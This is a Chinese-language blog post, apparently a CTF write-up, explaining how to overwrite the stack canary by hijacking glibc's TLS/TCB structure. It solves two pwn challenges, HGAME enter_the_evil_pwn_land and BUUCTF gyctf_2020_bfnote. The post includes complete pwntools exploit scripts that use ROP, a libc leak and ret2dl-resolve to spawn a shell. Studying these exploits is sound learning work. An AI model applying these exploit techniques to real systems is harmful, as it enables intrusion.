劫持TLS结构
196082 慢慢好起来

TLS的简单介绍

我这里就不详细说明TLS的实现了,因为太复杂了(我没看懂)。具体实现过程可以参考https://dere.press/2020/10/18/glibc-tls/

对于TLS其实是线程局部存储 (TLS) 是一种存储持续期(storage duration),对象的存储是在线程开始时分配,线程结束时回收,每个线程有该对象自己的实例。

对于TLS的变量是每一个线程所独有的,维护canary的TCB结构的也就是tls。他会在每一个线程申请自己的空间,并且在验证时也是拿自己线程所在的作比较,我们可以通过canary的实现来观察TCB结构体的位置。

image-20220204150152003

很好可以理解实在fs偏移28个位置的值作为canary。

下面是TCB结构体的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
typedef struct
{
void *tcb;
/* Pointer to the TCB.
Not necessarily the
thread descriptor used by libpthread.
*/
dtv_t *dtv;
void *self;
/* Pointer to the thread descriptor.
*/
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI.
*/
void *__private_tm[4];
/* GCC split stack support.
*/
void *__private_ss;
/* The lowest address of shadow stack,
*/
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t.
*/
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;

也可以看到在fs:28h的位置也就是stack_guard

Q1: HGAME enter_the_evil_pwn_land

检查保护

image-20220204150648050

当时就是这道题卡住了我感觉自己好菜没资格打比赛就没打了。

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 __fastcall test_thread(void *a1)
{
int i; // [rsp+8h] [rbp-38h]
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]

v4 = __readfsqword(0x28u);
for ( i = 0; i <= 0xFFF; ++i )
{
read(0, &s[i], 1uLL);
if ( s[i] == 10 )
break;
}
puts(s);
return __readfsqword(0x28u) ^ v4;
}

题目的内容很简单,存在0x1000个字节的栈溢出,但是只有一次puts的机会。

所以,按照以往思路覆盖canary的\x00显然是不能够的,所以我们直接劫持TLS。

image-20220204150911999

可以看到canary的值是0xd491330997329e00。

image-20220204151011610

再看TCB结构体可以看到canary确实就在偏移为0x28的地址上。

image-20220204151106209

可以看到TCB结构体还正在栈上。因为我们是写入0x1000字节所以显然能到这个位置。

image-20220204151314464

read开始的位置距离TCB结构体的距离是0x840。

综上得出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

r = process('./a.out')
elf = ELF('./a.out')
libc = ELF('./libc-2.31.so')

context.log_level = 'debug'

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000401363
ret_addr = 0x000000000040101a
vuln_fun = elf.sym['test_thread']

r.sendline(b'a'*0x20)
r.recvline()
fsbase = u64((b'\x00'+r.recvuntil(b'\n', drop=True)).ljust(8, b'\x00'))
print(hex(fsbase))

payload = b'a'*(0x30-0x8)+p64(0)*2+p64(pop_rdi) + \
p64(puts_got)+p64(puts_plt)+p64(vuln_fun)
payload = payload.ljust(0x840)+p64(fsbase)*3+p64(0)*3
r.sendline(payload)

r.recvuntil(b'\n')
puts_addr = u64(r.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr-libc.sym['puts']
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base+next(libc.search(b'/bin/sh'))

gdb.attach(r)
pop_rsi = libc_base + 0x0000000000027529
pop_rdx_r12 = libc_base + 0x000000000011c371

payload = b'a'*(0x30-0x8)+p64(0)*2+p64(pop_rdi) + \
p64(bin_sh_addr)+p64(pop_rsi)+p64(0) + \
p64(pop_rdx_r12)+p64(0)*2+p64(libc.sym['execve']+libc_base)
r.sendline(payload)

r.interactive()

Q2: BUUCTF-PWN gyctf_2020_bfnote

保护检查

image-20220204160150112

这道题目需要昨天的re2dlresolve的知识,没看过的师傅可以去看看ret2dl-resolve

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned int __cdecl main()
{
int i; // [esp+4h] [ebp-54h]
int size; // [esp+8h] [ebp-50h]
char *v3; // [esp+Ch] [ebp-4Ch]
int v4; // [esp+14h] [ebp-44h]
char s[50]; // [esp+1Ah] [ebp-3Eh] BYREF
unsigned int v6; // [esp+4Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
start_menu();
fwrite("\nGive your description : ", 1u, 0x19u, stdout);
memset(s, 0, sizeof(s));
read_0(0, s, 0x600); // 栈溢出
fwrite("Give your postscript : ", 1u, 0x17u, stdout);
memset(&unk_804A060, 0, 0x64u);
read_0(0, &unk_804A060, 0x600);
fwrite("\nGive your notebook size : ", 1u, 0x1Bu, stdout);
size = input_int();
v3 = malloc(size);
memset(v3, 0, size);
fwrite("Give your title size : ", 1u, 0x17u, stdout);
v4 = input_int();
for ( i = v4; size - 0x20 < i; i = input_int() )
fwrite("invalid ! please re-enter :\n", 1u, 0x1Cu, stdout);
fwrite("\nGive your title : ", 1u, 0x13u, stdout);
read_0(0, v3, i);
fwrite("Give your note : ", 1u, 0x11u, stdout);
read(0, &v3[v4 + 16], size - v4 - 16); // 任意地址写
fwrite("\nnow , check your notebook :\n", 1u, 0x1Du, stdout);
fprintf(stdout, "title : %s", v3);
fprintf(stdout, "note : %s", &v3[v4 + 16]);
return __readgsdword(0x14u) ^ v6;
}

别人可以用tls直接查看这个地址,但是我试了几次都不行所以就用了search查找canary来查找

image-20220204165245380

可以看到他存放的位置其实是共享映射区域,所以他的相对偏移是固定的。所以如果我们malloc一个很大的chunk(size>=0x20000),那么系统就被迫使用mmap给我们分配,根据mmap的机制我们分配的chunk就一定在tcbhead_t地址的低地址处。再根据上面main函数的漏洞就很容易修改掉canary的值了。

思路就是分配一个大小为0x20000的堆块到canary上面去,然后计算他们之间偏移,利用上面的任意地址写修改canary的值。但是由于题目当中的输出函数是fwrite或者fprintf。我们的ROPgadget不够,所以选择使用ret2dl-resolve。

这道题恶心人的一点

image-20220204192008172

在main函数最后并不是普通的leave retn,在最后的时候esp的值会变到ebp+var_4-4的值,所以在构造ROP的时候不能在栈上面构造。

最终得到exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

r = remote("node4.buuoj.cn", 28441)
# r = process("./gyctf_2020_bfnote")


elf = ELF("./gyctf_2020_bfnote")
libc = ELF('../buu_libc/x86/libc-2.23.so')
bss_start = 0x0804A060
gap = 0x500
stack_overflow = b'a' * (0x3e - 0xc + 0x8) + p64(bss_start + gap + 0x4)

r.recvuntil(b'Give your description : ')
r.send(stack_overflow)

r.recvuntil(b'Give your postscript : ')


fake_sym = p32(bss_start + gap + 0x4 * 4 + 0x8 - 0x80482C8) + \
p32(0) + p32(0) + p32(0x12)
fake_rel = p32(bss_start) + p32(0x7 + ((bss_start + gap + 0x4 *
4 + 0x8 + 0x8 + 0x8 - 0x080481D8) // 0x10) * 0x100)

r.send(b'\x00' * gap + p32(0x08048450) + p32(bss_start + gap + 0x4 * 4 + 0x8 * 2 - 0x080483D0) +
p32(0) + p32(bss_start + gap + 0x4 * 4) + b'/bin/sh\x00' + b'system\x00\x00' + fake_rel + fake_sym)

r.recvuntil(b'Give your notebook size : ')
r.send(bytes(str(0x20000), encoding='utf8'))

r.recvuntil('Give your title size : ')
r.send(bytes(str(0xf7d22714 - 0xf7d01008 - 16), encoding='utf8'))

r.recvuntil('invalid ! please re-enter :\n')
r.send(b'4')
r.recvuntil('Give your title : ')
r.send('a')
r.recvuntil('Give your note : ')
r.send('aaaa')

r.interactive()

参考链接

https://blog.csdn.net/seaaseesa/article/details/104479071

(我挺喜欢这个博主的不过他这次是伪造的link_map把我都看蒙了,后面发现都用的p32那就用32位的方式伪造呗,这样简便很多)

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量